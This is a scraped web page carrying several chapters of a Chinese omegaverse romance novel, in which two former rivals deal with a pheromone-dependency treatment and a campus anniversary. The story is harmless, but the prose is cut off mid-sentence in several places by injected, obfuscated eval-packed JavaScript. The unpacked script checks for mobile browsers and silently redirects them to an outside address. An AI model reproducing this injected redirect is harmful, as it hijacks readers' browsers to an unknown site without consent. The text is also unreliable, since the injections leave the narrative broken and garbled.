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医生:“是的,这是一种比较罕见的症状,具体原因不明,可能和标记时的状态还有信息素契合度有关系,目前还在研究。” “具体的表现是,被标记的Omega会产生对信息素的渴求,需要定期接触,否则会出现激素失调的症状。” 这段名词解释路琅已经听过一遍。 他当时太难受,没有细问定期接触是个什么治疗方案,猜想一下,估计就是偶尔见个面,进行点信息素的交流。 薛歆的想法大致也是这样。 所以,当医生说出真正的治疗方案时,很难讲到底谁的表情更扭曲。 “我尽量用通俗的说法向二位解释。” 医生大概是这里唯一冷静的人,但他说的每一句话都让另外二人更加难以冷静。 “信息素的深度接触,简单来说就是标记,永久标记和临时标记。”医生竖起两根手指晃了晃,很快将其中一根放了下来,“按照目前的检查结果来看,只需要临时标记就可以了——我想二位应该不陌生吧。” 薛歆和路琅:“……” 薛歆想,岂止是不陌生。 就在不久前才刚刚实操过。 听见标记两个字,路琅不自觉地朝她的方向看了过去,等到发现自己在做什么,硬生生收住了视线,手指一缩,把床单攥住几个褶皱。 ——都是信息素依赖的错! 5. 第 5 章 就像医生说的那样,治疗方案非常简单。 除了需要定期服用一些必要的辅助药物之外,其他的治疗部分完全可以用标记来概括——先做三次临时标记,间隔时间依次延长,后面还要不要继续,得根据路琅的身体状况来判断。 当然,纯靠药物进行调整也是可以的,只不过治疗周期会延长很多,说不定要三四年。 医生讲完情况,就贴心地走出了病房,给了二人足够的独处空间。 薛歆没有往里走,还是站在门边,低着头静静思索着,严肃得就像遇到了世纪难题。 病床上,路琅按着额头,几次三番想要开口,但都不知道如何起头。 最后,他干巴巴地说了句:“你不同意就算了。” 薛歆看他:“我没说不同意。” “只是要点时间接受,这不是帮你捡个瓶盖那么简单的小事。我们,你跟我,你不觉得……” 她一边说一边走过来,有点卡词,手指在二人之间来回指了指,突然停下,狐疑地问:“你为什么这么轻易就愿意了?该不会对我有什么非分之想吧?” 路琅:“……别做梦。” 薛歆:“我下辈子都不想做这种噩梦。” 路琅:“你——” 薛歆嘘了声,打断他:“再吵没完没了了。放心吧,我会负责的。” 路琅松了口气,正要史无前例的朝她道个谢,听见薛歆又说:“虽然也不是我的责任。” 他顿觉一口气梗住,将没说完的话咽了回去,改口说:“我会给补偿,你要什么都可以。” 薛歆:“那倒也……” 拒绝的话还没说完,她突然停住,眼睛微微眯起,想了想,说:“确实有一件事。” 薛歆打算把新店地址定在一座商务大厦二十层,那边地段好,大小合适,前身是一家艺考培训机构,去年年初才装修过,多少能节省点成本。 唯一的问题就是租金谈不拢。 以薛家的财力,这点钱不算什么,但薛歆独立创业,当然希望财务方面也全程独立。 “我记得你和赵总有合作。”薛歆说,“就帮我谈谈价吧。” 路琅没想到她的要求这么小:“就这个?” 薛歆肯定道:“就这个。放心,我不会压太狠的。” 对于路琅而言,这甚至都称不上是帮忙,打个电话讲一声就行了。薛歆既然只要求这个,他也乐得轻松,当场就准备联系。 薛歆制止了。 “先不着急。”她拿出手机发了几条消息,说,“我看看还有没有其他的办法再说。” 路琅:“你还有其他渠道联系赵厉容?” “赵……额,什么?哦,你说赵总啊。” 薛歆专心发完消息,才回过头来思考他说的话,说:“不是那个,我说的是你的事情。信息素依赖症,说不定有别的办法解决。” 路琅:“你家的……” 他想起薛家在抑制剂的技术上向来领先。 “模拟信息素。”薛歆说,“老东西了,最近又有突破,能达到自然标记百分之八十的效果。也许能用来治疗信息素依赖。” 路琅:“研发到哪个阶段了?” 薛歆:“临床三期——反正我去看的时候是这样,具体等我再问问我姐,之后联系你。” “那就是还在实验阶段。” 路琅并不看好:“不如标记。” “效果肯定比不上,所以短期内,我们Alpha还是有存在的价值的。”薛歆开自己的玩笑也不客气,想想又说,“再说临时标记不也有后遗症吗?” 后遗症? 路琅以为她说的是信息素依赖,无法反驳,有些烦躁地拿起诊断报告,翻了翻还没打开,又随手扔回去。 薛歆看见,说:“不止。” “你觉得标记是随便就能做的?”她抬起指尖,在颈侧点了一下,“信息素能影响人的情感,左右人的决定。都说标记时的情感波动很容易误以为是爱,如果做上三四五六次标记,说不定你真的会爱上我。” 路琅:“不要讲这种恶心的话。” 薛歆改口:“好吧,说不定我会爱上你——这样听起来会好一点吗?” 并没有。 路琅觉得这想法完全是杞人忧天。 他冷静地说:“一切都是治疗需要,我知道自己在想什么,不会因为标记就改变。如果你之后想要其他补偿,我也会给你,但我们没有、今后也绝不会有任何私人关系。” 薛歆轻轻挑了一下眉毛。 不知道为什么,可能是句式的原因,这段发言让她想起方烛总挂在嘴边的口头禅。 flag什么的。 “这样最好。”薛歆说,“但我还是要先找找有没有其他的办法。” 路琅:“模拟信息素我也听说过,技术不成熟,绝对用不了。你愿意白费劲是你的事。” 薛歆不讲话了,转头朝看向他,脸上隐隐浮现出惊奇的表情。 “我是在积极解决问题,为什么你这么抗拒?”她合理推论,“就像你特别想被我标记一样。” 路琅:“我永远不可能有这种想法。” 薛歆:“哦。” ……她的脑海里又开始浮现方烛的话了。 - 这天晚些时候。 薛歆的行动力向来数一数二,从私立医院离开之后,她立刻去公司找了亲姐薛隽,旁敲侧击地打听模拟信息素的研究进程。 “你朋友说的没错,是不成熟。” 薛隽连轴转地开了一天会,仍然神采奕奕,但被问起模拟信息素的时候,还是深深叹了口气。 “主要是样本数量不够。”薛隽推过来一堆天书般的数据报告,“目前来看产品本身没问题,就是临床试验的进程卡住了。” 薛歆:“志愿者不够?不是说很安全吗?” 模拟信息素顾名思义,就是人工合成的信息素。目前的技术还不支持无中生有,模拟信息素只能以天然信息素为基底进行复制。药物试验是复制一份Alpha信息素,将它注射进发热期的Omega腺体内,和临时标记的过程一样。 “符合条件的人本来就难找,我们还被抵制了。”薛隽说起这事就开始按太阳穴,“上个月还有人在楼下拉横幅。” 薛歆还不知道这件事,惊讶道:“为什么?” 薛隽:“玷污了AO的标记过程、人造信息素没有感情……都是屁话,这明明是和抑制剂一样造福人类的伟大发明。” 她烦躁拍桌:“谁说标记非得有感情的?一个临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薛隽边说边举起手机,把一张照片怼到薛歆面前:“宋家的老幺,门当户对,性格也好,信息素和你很契合。要是觉得可以,我安排你们见一面。” 薛歆很无奈:“姐,不能因为你结婚了,就对所有单身Alpha都看不顺眼吧。” “我还不是关心你!”薛隽瞪她一眼,“这也不要那也不要,你到底想找个什么样的天仙?” 薛歆:“你讲这种话会让我觉得我姐已经六十岁了。过几天再说吧,我最近在忙其他的事儿,有点冲突了。” 薛隽:“忙着远离Omega?” 薛歆:“不。” 恰恰相反。 …… 这边既然已经说好了,薛歆离开公司后,就给路琅打了电话确定行程。因为两个人的联系方式八百年前就互相拉黑了,这个过程还是通过私立医院的医生来完成的。 “我觉得最好尽快。”薛歆说,“明天早上怎么样?” 路琅:“可以。” “不可以哦。” 对话里插进了另一个声音。 “路先生还需要留院观察,在此期间尽可能不要外出,特别是不能接触到其他的信息素。”医生在一旁插话,“观察期要持续三天,。” 路琅:“那就下周三。” 薛歆:“行。我看看下周三我有没有……哦?” 路琅:“你有事?” “不只是我有事。”薛歆说,“那天是校庆,你也要去,但你现在还能去这种场合吗?” 医生贴心地给出了解答。 “当然可以,只要二位全程寸步不离,这样可以有效隔开其他的信息素。” 寸步不离……? 6. 第 6 章 校庆当天。 从清早开始,方烛就发现自己的朋友情绪不太对。 “心情不好?”她努努嘴,朝林荫道两旁的彩球和横幅示意,“今天这么好的日子,来都来了,跟我回味一下大学时光呗,别苦着脸了。” 方烛的语气很有活力。 但这话没起到什么鼓励的作用。 薛歆叹气:“唉。” 如果早知道最后会发展成现在这样,那天参加婚宴的时候,她说什么也要打完抑制剂再出门,见面之后,不管路琅怎么挑衅,都绝不会被小学生激将法打动。 “你先过去吧。”薛歆看着表说,“我还要在这儿等个人,晚会的时候也不用找我了。” 方烛急刹车:“等人?晚会你不跟我坐一起?” 她来了精神,凑过来继续发问:“谁呀?是我认识的人吗?” 薛歆:“你也太兴奋了。” 身边有个热爱八卦的朋友,真的很难藏住秘密。 “不是我的私事,别人的。”她按按眉心,什么信息都没透露,“解释起来挺复杂的,也不适合往外讲,到时候再看吧,你别跟其他人提啊。” 没有八卦可听,方烛有点失望。 她做了个给嘴巴上缝线的动作,掷地有声地说:“我保密你放心!” 薛歆:“……” 完全放不下心来。 薛歆:“那我走了?” 方烛朝着她用力挥手。 百年校庆的规模相当大,校园的各个标志性建筑附近都有安排特别的庆祝活动,签到墙、打卡点、作品展等等。一路穿过校园,有好几个学院都在办小型音乐会。 薛歆数不清楚自己把校歌听了多少遍,在她觉得耳朵已经磨出茧子的时候,终于从一个门走到了另一个门,在那儿,路琅正在车上等她。 参加校庆的人填满了整个校园,按照医嘱,在这种场合,她和路琅必须—— 寸、步、不、离。 一想到这个词,薛歆就感觉到一阵不自在。 既然情况这么麻烦,路琅可以直接不过来,他也没有非到不可的仪式感。但早在几个月前,校庆活动确定的时候,路琅从前的导师就特意与他联系了,表示希望学生能在这天回来看看。 导师当年就是退休返聘的,今年已经七十六了,人很好,对所有学生都是一视同仁的照顾。就这点简单的愿望,路琅很难开口拒绝。 薛歆则没想到他还有这种人情味。 多年相处下来,若说私下的印象,她眼里的路琅就是个脾气极差、相当冷漠、很爱找她茬的人。 内在问题无疑很严重,至于外在,他长得是很漂亮,可也没有旁人称赞的的那么夸张。 薛歆到了停车场,原地做了会儿心理准备,走过去敲敲车窗。 玻璃降下来。 司机已经离开了,车上只有路琅一个人。他膝上还放着电脑,露面那刻,他还在一边看文件,一边微微偏头往外看。 这几天薛歆和路琅没见面。根据医生的建议,最开始的这个阶段不需要那么亲密的接触,物极必反,还会影响真正治疗的效果。那天,薛歆留了点信息素样本就走了,过后没问情况,不过看路琅的脸色,确实没有之前那么憔悴了。 他穿了件高领毛衣,脖颈被遮得严严实实,低着头的时候,下巴尖被包在柔软的衣领里,脸部线条看起来圆润了些。 薛歆从车外俯视,只看得见他微抿着的唇。 “还不下来?” 她把右手伸进车窗,手表正杵在路琅眼前,指针咔咔咔往七点走:“再过段时间晚会要开始了,就现在人少,还不抓紧就没机会了。等下我陪你进去和你导师见个面,等会场里人多起来了,你直接从小门提前走。” 路琅合上电脑:“礼堂还有小门?” 校庆晚会安排在临湖礼堂。 老建筑,比茂大历史还长,次次翻新都是大工程。 薛歆大学时参加过几回校内演出,都是在临湖礼堂,对这里特别熟。 “有一个。”她收回胳膊,在窗边说,“茂大还没建校的时候就有了,原来是话剧演员赶场用的,从二楼上去,然后……” 薛歆的语气像是在讲某个不为人知但非常有趣的童年秘密,声音压的特别低,含着模模糊糊的笑意,从耳畔轻轻飘过去。 路琅对此很不适应。 他想制止但没来得及,再要打断,已经没有合适的时机了,只好被迫听着。 离得太近了,他觉得耳廓有些发痒。 薛歆倒是挺平静的。 毕业前她很少和路琅这样讲话,一般都是说两句就开始冷嘲热讽,各自找茬,最后不欢而散。 现在毕业也有四五年,薛歆觉得自己可能真是一笑泯恩仇了,竟然能面对面心平气和的聊天——当然也有可能是年纪上来吵不动了。 况且,学生时代吵架的那些话题也挺没意思的,除了个别时候是真有冲突,其他都是在没事找事。 想到这里,薛歆敲敲车窗。 “有个问题,我前几天突然想起来的。”她弯下腰,问,“我也不是很好奇,不过既然碰上了,正好问一下你。” 路琅听着听着,眉头不太明显地皱起来。 他觉得薛歆离得太近了。 总是收敛着的柑橘气味顺着气流飘过来,和薛歆的声音混在一起。她的语气有些懒散,声音低而轻,羽毛似的扫过他的耳垂。 “你究竟为什么这么讨厌我?我应该也没做过对你不好的事?” 薛歆靠着车窗,边问边露出疑惑的神色。路琅这时候才发现,她长着一双很温柔的眼睛,线条圆润,瞳色浅淡。这不是一双会主动挑事的眼睛。 但她挑事的次数不少。 路琅很容易就能举出一个例子:“大二上半学期,你在图书馆……” 没说完,薛歆将手伸过窗沿,在他眼前晃了晃。 “你看着冷冷淡淡的,怎么还记仇呢。”她声音带笑,“我问的是最开始,咱们刚上高中,当时我可没有惹你,为什么没事找事?” 路琅一怔。 他像是从没想过会被问起这个问题,直接愣住了,不多时,双颊升腾起一层红晕。 薛歆条件反射地远离了车窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我记得你说的这些。”路琅垂下眼来,下巴跟着低下去,“但我不记得当时为什么要这么做了。也许没有具体的原因,只是看你不顺眼,就这样而已。你要是耿耿于怀,我可以为此道歉。” 他不愿意讲真正的原因。 这让薛歆越来越感兴趣了。 她一开始也觉得可能只是气场不合看不顺眼,但路琅刚听见这个问题时的反应,是在哪儿也从来没有见过的。 这里面居然还有她不知道的深层原因吗? 薛歆考虑了下,没有再逼问。 “算了,用不着道歉,也过了这么多年了,况且我也——” 她停了几秒,想起过去的事,忍不住弯弯眼睛,俯身看向路琅,姿态轻松地抬了抬肩膀:“况且我也早就报复回去了。” 说完这句话,薛歆弯腰的幅度大了些,垂在胸前的卷发轻轻晃动,面容在车窗的小方格里闪过:扬起的唇,挺拔的鼻梁,线条温柔的眼睛…… 动作很快。 带起一阵风。 像是有人在身旁剥橘子,清新的汁水在空气里飞溅,路琅眨了下眼睛。 “随便你。” 他收回目光。 7. 第 7 章 临湖礼堂。 距离晚会开始还有一段时间,这里已经很热闹了,到处都有人在拍照和聊天。 薛歆走到门口,观察了下室内的情况,掩耳盗铃的把长发拨到前面遮住半张脸。 路琅抬眼看她:“见不得人?” 薛歆:“你什么时候才能说点……啧。” 路琅忽然僵了僵。 标记那天,他在过程里虽然不清醒,结束之后却把所有细节都想起来了,听了这句话,一些很想忘掉的画面迅速浮现出来。 薛歆起了个头,也突然觉得句式有点熟悉,生硬地停住了,把衣领往上提了提:“不是你说别让人看见?” “那天情况特殊。”路琅语速很快,“这是公开场合,没人会多想。” 薛歆拨了拨脸侧的头发。 “你这样讲之前,最好……” “最好什么?” 路琅等了几秒,薛歆还是没往后说,只把头发捋回到后面,侧脸的线条在他眼中一点点清晰起来。 她轻眨一下眼睛,语气有些无奈:“最好多喷几次遮味剂。” 路琅:“什……” 他突然反应过来,耳廓立刻浮了一层红晕。 “你现在闻起来是橘子味的,而且很甜。”薛歆说着,闻了闻自己的袖子,疑惑地自言自语,“我的信息素有这么黏糊吗?” 路琅紧紧地抿住了唇。 在薛歆说出这句话之前,他真的没有察觉到自己身上有一股橘子味儿。 人很难对自己的信息素气味保持敏感。经过了最开始的临时标记和这么多天的治疗,柑橘信息素已经快与路琅自己的融为一体,无时无刻不环绕在他身边。 在病房里的时候,这种情况不要紧,他最开始发现了也没在意,后面渐渐就忘记了,今天更是完全没想起来。 所以一路上,他都是……带着薛歆的信息素…… 路琅艰难地从羞耻感中挣脱出来,深吸了一口气:“下次你应该早点说。” “我以为你知道,毕竟挺明显的。没事,现在处理也来得及。”薛歆想了想,从包里翻出一张Omega抑制贴,伸手比划,“低头。” 路琅盯着这张抑制贴:“你为什么会随身带这种东西?” “什么叫‘这种东西’?这属于正规的医疗器械。” 薛歆指正了他的描述,然后解释道:“前两天在公司拿的。” 路琅这才把目光移开。 他那天一时冲动说让薛歆标记的时候,多少还是用脑子的浆糊想了想的,记得她是单身才提要求。 要是薛歆有Omega,这件事的性质就从帮忙一下子升级到了道德败坏的程度。 “你竟然还会考虑这个?”薛歆飞快扫视着抑制贴背后的说明书,“放心吧,我目前没有感情方面的规划,真有也不会找Omega。” 路琅看着她捏住抑制贴的手,脸颊的热度慢慢消退。 自然,他对薛歆也没有那方面的感情。 但大概是标记的原因,或者是作为Omega的群体归属感使然,听到这句话,他莫名觉得有点儿不爽。 Omega怎么了?有必要特地拎出来说吗? 路琅不爽了一会儿,干脆把这句话问出来了。 “别激动,这只是我个人的想法,不代表什么。可能是因为我家是做抑制剂的,总觉得信息素是门生意,所以我也不想找Omega。” 薛歆:“我没说Omega哪里不好。” 路琅扭开脸。 薛歆看他一眼,补充:“也没说你不好。” 路琅:“……” 他不知道回答什么,越发偏过脸去,假装没听见。 旁边,薛歆已经呲啦一声把抑制贴包装撕开了。 “低头。”她研究了下正反,“我给你贴。” 让Alpha帮忙贴抑制贴——这举动对于一个Omega来说有点突破社交界限了。 路琅不知道薛歆是不是故意耍他玩的,如果不是,他觉得她可能有点缺心眼儿。 难道临时标记带来的依恋情绪对她也有效? 想到这种可能性,路琅觉得心里有种奇怪的感觉,非常细微,和一片羽毛能引起的涟漪一样。他将此归类为反感。 “我自己来。”他伸出手,“给我。” 薛歆哦了一声,把抑制贴递了过来。 这时正巧有五六个学生朝这边走过来,其中一个脖子上挂着微单,边走边兴奋地用手指比出取景框,大声的说着“出片”、“技术”云云。 在茂大诸多热门打卡点中,临湖礼堂一直位列热度榜前列。 薛歆看见了,抬脚往旁边的僻静处走:“那几个小孩估计要在这拍照,到那边去吧,喏,正好有花坛挡着。” 路琅跟着她走了过去。 两人家一丛修剪成球形的小灌木后停下。 薛歆斜靠花坛站着,百无聊赖地玩了玩叶片,侧头去看路琅的动作。 她只是闲着没事做,随便盯着个什么东西看看,眼睛里没情绪,但一眨不眨,看起来居然也很是专注。 路琅触碰后颈的动作一顿。 毛衣的领子太厚实,层层叠叠的,他单手往下拉,本来就不太方便,旁边薛歆的目光存在感特别强烈,更让他有点手忙脚乱了。 他同时发现一个事实: 被一个Alpha看着贴抑制贴,和对方亲自动手,在个人感受上的区别并不是特别大。 毛衣领第三次没拽稳掉下来的时候,薛歆看不下去了,摊开手:“还是我来吧。” 路琅停下来。 薛歆朝自己的方向勾了两下手指。 路琅看过来,目光从她的脸移动到她的手指上,凝视着指尖,眸光闪动。 做临时标记的时候,薛歆很喜欢抚摸、甚至是轻按腺体,虽然不痛苦,但太奇怪了。 只是看着这双手,那种感觉就仿佛在腺体中浮现。 他拒绝:“不用。” 薛歆:“真不用?我也不能看着你费劲,时间不早了,再耽误久一点,万一碰上熟人呢?” 方烛几分钟前还跟她发消息,说逛完了学院的展位,想到礼堂这边怀怀旧。 算算时间,说不定就要碰个正着。 几步开外,停留在礼堂门口的人也开始增加,被灌木挡住了看不见,但明显能听见喧闹声越来越大。 路琅妥协了。 “不用你贴。”他怀着最后的倔强说,“帮我弄一下衣服就够了,我自己来贴。” 薛歆不再勾手指了:“好。” 她走到路琅身侧,把遮住后颈的衣领往下拉,直到那块藏着腺体的皮肤完全露出,才停下动作。 “这样够吗?” “再往下一点。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243198|197833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯……这样?” “可以了。” 现在两人之间的距离是真的有点太近了,能互相清晰的听见对方的呼吸声,体温似乎在通过空气传递着。 路琅低着头,双手捏着抑制贴往后伸过去。脖颈露在外面,他觉得有点凉,也有点紧张。 这很正常。 他想。 腺体完全暴露在Alpha的目光下,没有那个Omega能不紧张的,这和双方的相处模式没关系。 突然,薛歆的指尖碰到了他的脖颈。 路琅的手明显地抖了一下。 薛歆:“抱歉。” 她控制着手指保持稳定,脚下则不动声色地朝侧方迈出了一小步。 好香的信息素。 面对面的时候不觉得,绕到后面来,气息就突然变得浓郁了。 也可能是粘在衣服上的味道飘散开了。 路琅的发热期已经控制住了,信息素不像临时标记时那么浓,蕴含的诸多情绪与渴求也消失大半,对于其他人来说,闻着和香水没有两样。 薛歆不在“其他人”之列。 单是柚子花香还好,可是里面还掺杂着点明显的柑橘味,她确定自己控制好了信息素,所以这全是从路琅身上散发出来的。 变成这样的原因……咳。 薛歆不再发散思维,把重心从嗅觉移到视觉,只盯着那一小块皮肤看。 路琅的肤色非常白,肌肤细腻,脖颈这一片都是光润的,只有包裹着腺体的那一块微微凸起,在颈后像一个小小的山丘。 薛歆垂眼看着,发现自己的杂念越来越多。 …… 好想按一下。 我的强迫症都严重到这种程度了? 薛歆一边想着,一边与自己的手痒作斗争。在她忍不住想干脆松手放开衣领,从根源解决问题时,路琅终于贴好了抑制贴。 她松了口气:“好了?” 路琅:“嗯。” 薛歆收回手,绕回到前面来,两人各怀心事,对视一眼,同时飞快地错开了目光。 气氛有些诡异。 薛歆轻咳一声,说:“那就行了,我们进去吧。” 礼堂外的拍照环节这时候终于到了尾声,学生们走到了台阶下边的空地上,进出通道空了出来。 两人都没有说话,一前一后沉默着走进了临湖礼堂。 放在以往,这种情况很常见,上大学的时候薛歆和路琅见面就吵架,像现在这样沉默相对,朋友们还得惊叹一句今天真和平。 此刻却显得有些冷漠。 是错觉吧。 薛歆想。 穿过礼堂入口长长的通道,灯光霍然明亮起来,她停下脚步,打算说点什么,一回头,发现路琅也正在看她。 两人都是一怔。 薛歆:“怎么了?” 路琅:“……没事。” 他绝不会承认自己是看她的背影看得出了神。 薛歆迟疑了一下,没有追问,说道:“我忘了跟你讲模拟信息素的事,可能需要……” 刚说到这儿,一声呼唤打断了她的话。 “薛歆?还有……路琅?” 几步外,方烛左右看了看,抬起手揉了揉自己的眼睛,喃喃道:“我是出现幻觉了吗?” 薛歆:“……” 不妙。 8. 第 8 章 方烛一度怀疑自己的眼睛。 她用力眨眼,将面前的两个人看了又看,发现自己真的没看错之后,脸上的惊讶渐渐变成了困惑。 “你们,呃……你们……” 方烛磕巴了两次才说完:“你们怎么走在一块了?” 薛歆:“有事约了。” 路琅:“门口碰见的。” 方烛:“?” 两双眼睛同时朝薛歆看了过来。 气氛一时有些尴尬。 薛歆沉默了几秒,偏头悄声对路琅说:“方烛知道我约了人。” 路琅无法理解:“你何必告诉她?” 薛歆的声音更小了:“如果不说提前有约,那我要怎样合理地和你寸步不离,还不被人觉得是神经病呢?” 路琅:“……” 他不想认同这句话,但确实也找不到反驳的依据。 方烛的目光还在他们俩之间打转。 薛歆正色道:“有事要谈,正好校庆都来,就约了一下——是公司的事。” 她觉得自己没说假话。 模拟信息素当然是公司的事。 方烛相信了。 主要是如果不相信,她也想不出一个能让这俩人凑在一起的更合情合理的原因。 “那你可以告诉我嘛,别搞得这么神秘。”方烛走过来,后怕似的拍拍胸口,“我还以为你们……” 说到这里,她眼珠一转,朝路琅无辜地笑了一下,附在薛歆耳边悄悄地说:“我还以为你们在这约架呢!” 薛歆简直不知道该对这个猜测做出怎样的回应。 她无奈地说:“你对我的印象到底是什么样的,我们不会发生什么,现在又不是大学那几年了。” 路琅没有听见方烛那句大胆的猜测,但听清了薛歆的这句话,不免顺着思考了一下。 发生什么…… 大学的时候,他和薛歆确实每次见面都会发生点什么,情况虽然激烈,内容却很单一,无非就是斗斗嘴吵吵架。 现在,能发生的事情多了一个方向。 路琅尽可能不去往那个方向想。 薛歆和方烛又聊了几句,他没有参与对话,眺望着远处的舞台,始终默不作声,只是呼吸的频率稍显加快。 很快,方烛就打算离开了。 “那我先过去啦,老同学都在C区,我去和他们聊聊。”她指了指观众席,“你要是谈完正事了,给我发个消息,咱们还可以坐一块。” 薛歆:“好。” 方烛正要转身走人,想了想,犹犹豫豫地回过头,趁路琅没看这边,指了指手机,比了一个“看我消息”的口型。 她从观众席中的通道走了下去,没过多久,薛歆的手机果然弹出一条新消息。 【FF:话说,你们俩的信息素闻起来好像啊。】 信息素? 薛歆一顿,迅速扭头看路琅,果然发现他颈后那张抑制贴的一个边角粘在衣领上,翘起了一点点。 大概是贴的时候没注意。 路琅最近深受依赖症的困扰,对自己信息素的掌控没有那么精准,情绪稍有波动,就容易无意识地散发一点点出来。 她正在想该如何解释,手机又震了下。 【FF:果然恨会让人越来越相似!】 薛歆:“?” 她心情复杂地收起了手机。 路琅问:“怎么了?” 薛歆:“没什么。” 就是突然有点担心朋友的智商。 路琅以为是她的私事,不再打听,往前迈出一步:“过去吧,我已经看到李老师了。” 观众席前列坐了不少人,人群涌动间,老教授花白的头发格外显眼。 “哎,别走。”薛歆叫住了他,“你先等等。” 路琅应声停了下来。 在他看过来之前,薛歆突然伸手,把抑制贴翘起来的那个角撕下来重新贴了一遍,全过程不到三秒。 做完这件事,她解释:“边上翘起来了,帮你重新贴一下。” 路琅微微睁大了眼睛。 足足过了十秒,他才意识到刚才发生了什么,蓦地抬手按住了后颈,耳根明显的红了起来,被雪白的肤色衬托着,像捏出来的印子。 “你——” 他一时竟然讲不出话。 薛歆也发现自己做的不合适,尴尬地将手收了回来:“我看见了顺手就弄了,抱歉。” 路琅深深呼吸。 他面无表情地把手放下来,心情很不平静。 这一次甚至都没有碰到……为什么竟然会觉得腺体在发烫? 为什么? - 寒暄没有持续太久。 老教授毕竟年事已高,见到从前的学生,他虽然非常兴奋,可是没聊多久,心脏就有点受不了刺激,追忆往事的环节很快结束,跳到了合照阶段。 薛歆在旁边等着。 她和路琅不是一个专业的,对这位教授只是略有耳闻,没挤在人堆里凑热闹,独自待在一边。 老教授前后几排座椅都挤满了人,薛歆随便在台阶上找了个位置坐下,低着头一直玩手机。 玩着玩着,亲姐发了条消息过来。 【姐:看看。】 薛歆把聊天框往下拉,什么东西也没看见,刚想问发什么了,一串新消息就叮叮当当地弹了出来。 全是Omega的照片。 足足四十多张。 清纯的、明丽的、甜美的……可谓是形形色色,丰富多彩,包罗万象,囊括寰宇。 薛歆从头拉到尾,有点晕脸。 【姐:我连天仙都给你找到了。】 【姐:怎么样?有看上的就给你约出来,想见几个都行。】 这两条消息刚加载出来,又是一阵叮叮当当,更多的照片不停地跳了出来。 薛歆沉默片刻,手掌撑地,从台阶上站了起来,同时将手机拿高,举到了眼睛下边。 她有点害怕被别人看到自己手机屏幕上的内容。 【歆:姐,你散播照片征得人家同意了没?】 薛隽很拽地回复:【我妹妹找对象还需要我去征求同意?他们主动送过来我还要挑一挑呢!】 【你到底有没有看上的?】 薛歆仍然眼花缭乱中。 【我都分不清这些Omega的脸了。】 她真情实感地回答。 【姐:那先不管其他的,我上次跟你说过的那个呢?宋总的小儿子,你再看看喜不喜欢。】 薛歆盯着这堆照片看了一会儿。 【哪个?】 她回复。 【姐:……】 【姐:当然是第一张!】 薛歆开始从最后一张照片往上翻。 还没等她艰难地穿过这片电子花丛,耳畔的谈话声弱了下去,仿佛有心电感应,她停住动作,抬眸时恰对上路琅的目光。 手指惯性地继续滑动着。 路琅越走越近,相亲实况快要暴露在他眼皮底下时,薛歆猛地回神,把屏幕摁熄了。 “结束了?”她看一眼渐渐散开的人群,“比我想象的快。” 路琅走过来:“聊了点以前的事情,老师的身体受不了,先去休息了。” 薛歆问:“你还留吗?” 路琅摇头:“我先回去了。” “行,我跟你一起。”薛歆说,“工作室还有事,我也得走了,晚会之后看看网上的剪辑就行。” 她转过身,迈着轻快的步子上了几级台阶,看着礼堂中复杂的楼梯和通道,想起之前的对话,说:“时间还早,正好,我带你去二楼看看吧。” 路琅一愣,不知道她在打什么哑谜。 他问:“看什么?” “二楼的侧门啊,来之前不是跟你说了吗?”薛歆笑,“你居然不知道,很方便的,绕出去之后走两步就是人工湖,我最重要的大学回忆之一啊。” “我不去。” 路琅开口就是拒绝。 又不是小孩子,玩什么探索秘密基地的游戏? 薛歆劝:“反正我们要出去,换条路走而已,那边人还少。” 路琅全无兴趣,犹豫了下,幅度很小地点点头。 这里人群密度太高,他只想尽快离开而不是四处探秘,但薛歆陪了他一路,想想也该还回去,于是答应下来,心里并没多少期待。 薛歆却一下子兴奋了,站在高几级的台阶上,招了招手,说:“来吧,带你走秘密通道。” 她弯起眼睛,睫毛下落了点光。 路琅抬头,看见她唇边噙着的那抹笑,不知怎么,心脏好像一瞬间有点不会跳了。 他忽地垂眼。 “好。” - 所谓秘密通道,入口就是二楼一扇不太容易被注意到的小门。 “从这出去之后,有个绕外墙的露天走廊,很窄,可以走到礼堂侧面。” 薛歆尽着导游的职责:“尽头是人工湖旁边的小树林,有一条大家踩出来的路,不容易看见,穿过去就是湖心小道。” 路琅心不在焉地听着。 他没想到这条秘密通道的海拔这么高,没有护栏,走在上面总觉得脚下有点飘。 临湖礼堂是老建筑,在校礼堂、话剧院、福利院这些历史之前,它是本地最著名的教堂,尖顶的,特别大特别高。 薛歆说的这条小路绕着外墙,最开始估计是个观景台。近些年来,礼堂后面种了一大片树林,无景可观,它就被渐渐遗忘了。 这里安静得只能听见风声。 “今天校庆,学生都去外面了,平常这里总有人,特别是晚上,小情侣爱在这儿幽会。”薛歆边走边说:“今天我们也……嗯?” 一根被风吹折的树枝掉在面前,她停住话音,把它捡了起来。 路琅的呼吸也跟着停了一瞬。 我们也? 停的地方太凑巧,他差点要开口追问了。 她要说什么?幽会?这种话就算是玩笑都很无聊,谁想和她幽会了?毫无逻辑的思维发散必须扼杀! 薛歆晃了晃手里的树枝:“……我们也太奇怪了。我跟你一起走在这儿,看起来真有点好笑。” 她说完还要征求意见:“你不觉得吗?” 路琅一点想笑的感觉都没有。 他抿住唇,冷冷地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话题一跳,薛歆反应了下,才想起来还有这件事。 “不确定,还早的很,我还要再规划规划。” “再说,”她笑笑,“我也没那么急着要跟你两清,既然答应帮忙了,没补偿我也会帮到底的。” 